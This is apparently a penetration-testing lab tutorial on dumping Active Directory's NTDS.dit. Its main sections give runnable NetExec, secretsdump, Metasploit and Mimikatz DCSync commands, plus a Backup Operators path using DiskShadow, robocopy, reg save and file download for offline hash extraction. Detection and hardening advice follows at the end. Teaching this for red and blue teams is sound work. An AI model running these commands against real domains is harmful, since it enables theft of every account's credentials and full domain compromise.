NTDS.dit represents the crown jewel of Active Directory environments, containing the complete database of domain objects, user accounts, and critically, all password hashes for every domain account. This comprehensive guide explores the structure, security implications, and attack methodologies associated with NTDS.dit extraction, providing security professionals with the knowledge needed to understand both offensive techniques and defensive countermeasures.

Table of Content

• Credential Dumping: NTDS
• What is NTDS.dit
• Core Components and Structure
• Sensitive Data in NTDS.dit
• Why Attackers Target NTDS.dit
• Prerequisites for NTDS Dumping
• Lab Setup

Remotely NTDS Dumping

• NetExec (NXC)
• Impacket Secretsdump
• Metasploit
• Mimikatz DCSync

Backup Operator Method 

• DiskShadow & NTDS Extraction
• Offline Credential Dumping

Detection and Monitoring 

Defensive Measures 

Conclusion

What is NTDS.dit?

NTDS.dit (Windows NT Directory Services Database Information Tree) is the primary database file used by Active Directory Domain Services to store all directory information. This file serves as the authoritative data store for every Domain Controller in an Active Directory forest.

Core Components and Structure

The NTDS.dit file uses Microsoft’s Extensible Storage Engine (ESE), also known as JET Blue, which provides a robust, transactional database platform. The database architecture includes:

• Data Table: Contains all directory objects including users, computers, groups, organizational units, and their attributes
• Link Table: Stores relationships between objects such as group memberships
• SD Table: Security descriptor table maintaining access control lists for directory objects
• Hidden Table: Contains metadata and internal operational data

Default Location and File System

By default, NTDS.dit resides in the path C:\Windows\NTDS\ntds.dit on Domain Controllers. The file is accompanied by transaction logs (EDB*.log files) and checkpoint files (EDB.chk) that ensure database consistency and support crash recovery mechanisms.

Sensitive Data Stored in NTDS.dit

The database contains multiple categories of sensitive information:

Table 1: Sensitive data categories within NTDS.dit

Why Attackers Target NTDS.dit?

Obtaining a copy of NTDS.dit provides attackers with comprehensive domain credential material, effectively granting them the keys to the entire Active Directory kingdom. With this database, threat actors can:

1. Extract password hashes for every domain user without triggering authentication alerts
2. Perform offline brute-force and dictionary attacks against password hashes
3. Identify privileged accounts including Domain Admins and Enterprise Admins
4. Map the complete organizational structure and trust relationships
5. Create golden tickets for persistent, stealthy access
6. Execute pass-the-hash attacks across the entire domain

Prerequisites for NTDS.dit Dumping

Required Access Levels

To successfully extract NTDS.dit, attackers must first obtain elevated privileges on a Domain Controller:

• Local Administrator: Membership in the local Administrators group on the DC
• SYSTEM Account: The highest privilege level on Windows systems
• Domain Admin: Domain-level privileges that include DC administrative rights
• Backup Operators: Members can create volume shadow copies and access locked files

Required Components

Two critical components are needed to successfully extract and decrypt credentials:

1. dit file: The database containing encrypted credential material
2. SYSTEM registry hive: Contains the Boot Key (SYSKEY) required to decrypt the PEK (Password Encryption Key), which in turn decrypts the password hashes stored in NTDS.dit

Without both components, the password hashes remain encrypted and unusable.

Lab Setup

• Open Active Directory Users and Computers (dsa.msc).​
• In the left pane, right‑click your domain name (in the screenshot it is ignite.local).​
• From the context menu, click Properties at the bottom.​

• in the domain Properties window, click the Security
• Under Group or user names, click ...

• In the Select Users, Computers, Service Accounts, or Groupsdialog, type the user or group name you want to give permissions to, then click Check Names.
• Click OKto add it to the list.
• With that user/group selected, in Permissions, tick the Allow(or Deny) checkboxes for the specific permissions you want to set.
• Click Apply, then OKto save the changes.

In the Permissions for raj list, scroll down and tick Allow for

• Replicating Directory Changes
• Replicating Directory Changes All

Click Apply, then OK to save.

Netexec (NXC)

Once the account has the right permissions, we can move to the attacking machine (Kali in this case) and use NetExec in SMB mode.

nxc smb 192.168.1.6 -u 'raj' -p 'Password@1' --ntds drsuapi

What this does:

• Connects to the Domain Controller at 192.168.1.6 over SMB.
• Authenticates as ignite.local\raj using the provided password.
• Uses the DRSUAPImethod to request NTDS data instead of copying the NTDS.dit file from disk.

In the output you’ll see lines like:

• Administrator:500:<LM>:<NTLM>:::
• krbtgt:502:<LM>:<NTLM>:::
• raj:1103:<LM>:<NTLM>:::
• And an entry for the DC machine account (DC$).

NetExec also writes a full dump file under its logs directory, which you can later feed to cracking or pass‑the‑hash tools.

Impacket’s secretsdump

To show that this is not tool‑specific, we can repeat the same attack with Impacket.

Example command:

impacket-secretsdump 'ignite.local/raj:Password@1@192.168.1.6'

Key points:

• We again authenticate as ignite.local\raj.
• secretsdump detects that it can use DRSUAPI and prints a message like:
  [*] Using the DRSUAPI method to get NTDS.DIT secrets
• It then dumps:
• NTDS hashes for users (Administrator, Guest, krbtgt, raj, DC$, etc.).
• Kerberos keys (AES, DES) for those same accounts.

At the end, secretsdump writes the results to a local file and prints [*] Cleaning up ….

Metasploit

After abusing DRSUAPI with NetExec and the standalone secretsdump script, the third way I like to demonstrate NTDS.dit dumping is directly from Metasploit. This is handy if you already live inside a Metasploit workflow and want to keep everything in one console.

Loading and configuring the module

msf > use auxiliary/scanner/smb/impacket/secretsdump
msf auxiliary(scanner/smb/impacket/secretsdump) > set rhosts 192.168.1.6
msf auxiliary(scanner/smb/impacket/secretsdump) > set smbuser raj
msf auxiliary(scanner/smb/impacket/secretsdump) > set smbpass Password@1
msf auxiliary(scanner/smb/impacket/secretsdump) > set smbdomain ignite.local
msf auxiliary(scanner/smb/impacket/secretsdump) > exploit

Windows

With the NTDS hashes exported, we can also query specific accounts directly from a domain-joined machine using Mimikatz. For example, to retrieve the NTLM hash of the built‑in Administrator account from the Domain Controller, run:

Mimikatz performs a DCSync against the domain controller and returns the full credential data for the specified user, including the NTLM hash that can be used for pass‑the‑hash or offline cracking.

lsadump::dcsync /domain:ignite.local /user:Administrator

Second Way

Create new username aarti. After creating a password for the Aarti user. Right-click on the Aarti user and select Add to a group from the drop-down menu.

This action will open a new window prompting you to select a group for the Aarti user. Add the Aarti user to the Backup Operators group. After specifying the group name, click OK to confirm. The configuration of the SeBackupPrivilege on the Domain Controller for the Aarti user is now complete.

Begin by establishing a remote PowerShell session to the Windows host using Evil-WinRM. Run the following command from your Kali machine:

evil-winrm -i 192.168.1.11 -u aarti -p Password@1

After logging in, you should confirm that the backup-related privileges are enabled for the aarti account. From the Evil-WinRM prompt, run:

whoami /priv

This command lists all privileges associated with the current security token. In the output, locate the entries for:

• SeBackupPrivilege– Back up files and directories
• SeRestorePrivilege– Restore files and directories

Both privileges should appear with the State set to Enabled, indicating that the aarti user can perform backup and restore operations as intended.

Preparing the DiskShadow Script

With the backup privileges in place, the next step is to prepare a DiskShadow script that we will later execute on the Domain Controller. This script automates the process of creating a shadow copy and exposing it as a new drive letter, which we can then use to access sensitive files such as NTDS.dit and the SYSTEM hive.

First, create a new script file named raj.dsh on your Kali machine and add the following content:

set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:

These commands instruct DiskShadow to create a persistent shadow copy of the C: drive without involving writers, assign it the alias raj, and then expose that shadow copy as drive Z: on the target system.

Converting the Script to Windows Format

Since the script was created on a Unix-like environment (Kali), the file uses Unix-style line endings by default. To ensure Windows interprets the script correctly, convert it to DOS/Windows format using unix2dos:

unix2dos raj.dsh

This command updates the line endings in raj.dsh to the CRLF format expected by Windows, preventing parsing issues when DiskShadow executes the script on the Domain Controller.

Create a working directory on the Domain Controller and upload the DiskShadow script:

mkdir C:\temp
cd C:\temp
upload raj.dsh

Then execute the script to create and expose the shadow copy:

diskshadow /s raj.dsh

This command runs raj.dsh, creates a shadow copy of C:, and exposes it as drive Z: for later use.

To extract the Active Directory database from the shadow copy, use robocopy in backup mode from the C:\temp directory:

robocopy /b z:\windows\ntds . ntds.dit

This command copies ntds.dit from Z:\windows\ntds\ into C:\temp\ while preserving access using the previously granted backup privileges.

To complete the data collection, first save the SYSTEM hive locally on the Domain Controller:

reg save hklm\system C:\temp\system

Verify that ntds.dit and system are present in C:\temp, then download both files to your Kali machine using Evil‑WinRM:

download ntds.dit
download system

You now have the NTDS database and SYSTEM hive locally for offline credential extraction.

Offline Password Cracking

Back on the Kali machine, we can now perform offline credential extraction using Impacket’s secretsdump.py. From the directory containing ntds.dit and system, run:

impacket-secretsdump -ntds ntds.dit -system system local

This command parses the NTDS database with the SYSTEM hive, recovers NTLM hashes and Kerberos keys for all domain accounts, and prints them to the console for further post‑exploitation or cracking.

Netexec

The attack begins with NetExec (formerly CrackMapExec), a powerful post-exploitation tool for Windows networks. The attacker uses valid credentials for the user aarti with password Password@1 against the domain controller at 192.168.1.11.

nxc smb 192.168.1.11 -u 'aarti' -p 'Password@1' -M backup_operator

Key observations from the output:

• Successfully authenticated to DC (Windows Server 2019 Build 17763)
• Domain identified as local with domain administrator account aarti
• Registry hives successfully saved to remote system (SAM, SECURITY, SYSTEM)
• Files SAM, SECURITY, and SYSTEM downloaded to local Kali machine at /root/.nxc/logs/DC_192.168.1.11_2026-03-15/
• Critical NTLM hashes extracted including Administrator, Guest, DC

The backup_operator module specifically exploits SeBackupPrivilege to access registry hives that would normally be locked during system operation. The extracted NTLM hashes provide immediate lateral movement opportunities and serve as the foundation for further attacks.

Detection and Monitoring

Critical Event IDs to Monitor

Behavioral Detection Strategies

• Monitor for unusual VSS activity outside backup windows
• Alert on NTDSUTIL execution from non-administrative workstations
• Track large file copies from NTDS directory or shadow copy paths
• Detect replication requests from non-DC computer accounts
• Monitor for sudden spikes in LDAP queries
• Track outbound file transfers of large database files

File Integrity Monitoring

Implement File Integrity Monitoring (FIM) on:

• C:\Windows\NTDS\ntds.dit
• SYSTEM registry hive
• Shadow copy mount points
• Temporary directories (C:\temp, C:\Windows\temp)

Defensive Measures and Hardening

Access Control Hardening

1. Limit Domain Admin Usage: Restrict Domain Admin logons to Domain Controllers only
2. Tiered Administration Model: Implement Microsoft’s Enhanced Security Administrative Environment (ESAE)
3. Privileged Access Workstations (PAW): Dedicated hardened systems for administrative tasks
4. Just-In-Time Administration: Temporary privilege elevation only when needed

Technical Controls

Windows Credential Guard uses virtualization-based security to protect NTLM hashes and Kerberos tickets.

Network Segmentation

• Isolate Domain Controllers in dedicated VLANs
• Implement strict firewall rules limiting DC access
• Use intrusion detection systems (IDS) to monitor DC network traffic
• Deploy network access control (NAC) solutions

Conclusion

NTDS.dit represents the most valuable target in Active Directory environments, containing complete credential material for the entire domain. Understanding the various dumping techniques—from VSS abuse to NTDSUTIL misuse and DCSync attacks—is essential for both red teams testing organizational defenses and blue teams implementing detection and prevention controls.

Effective defense requires a layered approach combining access control hardening, behavioral monitoring, advanced auditing, and network segmentation. Organizations must treat Domain Controllers as the crown jewels they are, implementing strict controls and comprehensive monitoring to detect and respond to credential dumping attempts before attackers can exfiltrate and exploit domain credentials.

The battle for Active Directory security ultimately centers on protecting NTDS.dit from unauthorized access and extraction. By understanding attacker methodologies and implementing robust defensive measures, security teams can significantly reduce the risk of complete domain compromise.

Author: Komal Singh is a Cyber Security Researcher and Technical Content Writer, she is a completely enthusiastic pentester and Security Analyst at Ignite Technologies. Contact Here